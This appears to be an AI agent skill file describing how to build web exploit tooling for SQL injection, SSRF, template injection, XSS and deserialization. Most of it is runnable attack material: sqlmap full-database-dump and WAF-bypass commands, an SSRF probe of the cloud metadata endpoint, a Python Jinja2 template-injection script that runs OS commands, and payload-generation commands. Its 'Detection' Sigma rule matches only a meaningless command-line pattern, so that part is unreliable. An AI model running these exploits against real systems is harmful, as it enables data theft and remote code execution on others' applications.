<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: developing-web-exploit-frameworks
description: >-
  Develop custom web exploit frameworks for SQL injection, XSS, SSRF, deserialization, and template injection attacks with automated scanning, payload generation, and exploitation capabilities.
domain: cybersecurity
subdomain: exploit-development
tags:
  - web-exploit
  - sqli
  - xss
  - ssrf
  - deserialization
  - ssti
  - sqlmap
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1190", "T1059.007"]
  frameworks: ["MITRE ATT&CK", "Metasploit"]
  tools: ["sqlmap", "python3", "burpsuite", "curl", "httpx"]
---

# Developing Web Exploit Frameworks

## Overview

Web exploit frameworks automate discovery and exploitation of web vulnerabilities
including SQL injection, XSS, SSRF, deserialization, and template injection. Custom
frameworks extend tools like sqlmap with organization-specific payloads and evasion.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `sqlmap` | Security tooling |
| `python3` | Security tooling |
| `curl` | Security tooling |
| `httpx` | Security tooling |
| `Burp Suite` | Security tooling |
| Target web application in isolated lab | Environment requirement |
| Understanding of OWASP Top 10 vulnerability classes | Environment requirement |
| Proxy configuration for traffic inspection | Environment requirement |

## Workflow

### Step 1: Automated Vulnerability Scanning

```bash
# SQL injection detection with sqlmap
sqlmap -u "http://target.lab/search?q=test" --batch --level=3 --risk=2 \
  --random-agent --tamper=space2comment

# Full database dump after confirmed injection
sqlmap -u "http://target.lab/search?q=test" --batch --dump-all \
  --threads=5 --output-dir=./sqli_results

# SSRF detection
curl -s "http://target.lab/fetch?url=http://169.254.169.254/latest/meta-data/" \
  | grep -i "ami-id\|instance-id"

# Template injection detection
curl -s "http://target.lab/render?name={{7*7}}" | grep "49"
curl -s "http://target.lab/render?name=\${7*7}" | grep "49"
```

### Step 2: Custom Exploit Module Development

```python
#!/usr/bin/env python3
"""Custom SSTI exploit module for Jinja2."""

import requests
import sys

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://target.lab"

# Jinja2 SSTI → RCE payload
payload = (
    "{{request.application.__globals__.__builtins__"
    ".__import__('os').popen('id').read()}}"
)

resp = requests.get(f"{TARGET}/render", params={"name": payload})
if "uid=" in resp.text:
    print(f"[+] RCE confirmed: {resp.text.strip()}")
else:
    print("[-] SSTI not exploitable or filtered")
```

### Step 3: Payload Library Management

```bash
# Generate XSS payload variants
node scripts/agent.js payloads --type xss --evasion waf --count 20

# Generate SQLi payloads for specific DBMS
node scripts/agent.js payloads --type sqli --dbms postgresql --technique union

# Test deserialization payloads
node scripts/agent.js deserialize --target http://target.lab/api \
  --format java --gadget CommonsCollections1
```

### Step 4: WAF Bypass Development

```bash
# sqlmap with WAF bypass tamper scripts
sqlmap -u "http://target.lab/search?q=test" --batch \
  --tamper=between,randomcase,space2comment,charunicodeencode

# Custom WAF bypass testing
node scripts/agent.js waf-bypass --target http://target.lab/search \
  --param q --payload "' OR 1=1--"
```

## Detection

```yaml
title: Web Exploit Frameworks Detection
id: ef61ed34-fb4e-4d2d-8294-2c4fe67b4e4f
status: experimental
description: Detects suspicious activity related to developing web exploit frameworks techniques in exploit development context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*developing*web*"
  condition: selection
level: critical
tags:
  - attack.t1190
  - attack.t1059.007
  - attack.execution
falsepositives:
  - Vulnerability scanner testing known exploit signatures
```


**Detection Opportunities**

| Indicator | Source | Detection Logic |
|---|---|---|
| Web Exploit Frameworks Detection | windows/process_creation | Sigma rule (critical) |
| ATT&CK Coverage | MITRE ATT&CK | T1190, T1059.007 |

## Verification

- [ ] Vulnerability confirmed with benign proof payload
- [ ] Exploit achieves target impact (data access, RCE, SSRF)
- [ ] Payloads tested against target WAF/filtering
- [ ] Exploitation logged for reporting and detection
- [ ] Detection signatures generated from exploit traffic

## References

- [sqlmap](https://sqlmap.org/) — SQL injection automation
- [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/) — Web testing methodology
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) — Payload reference
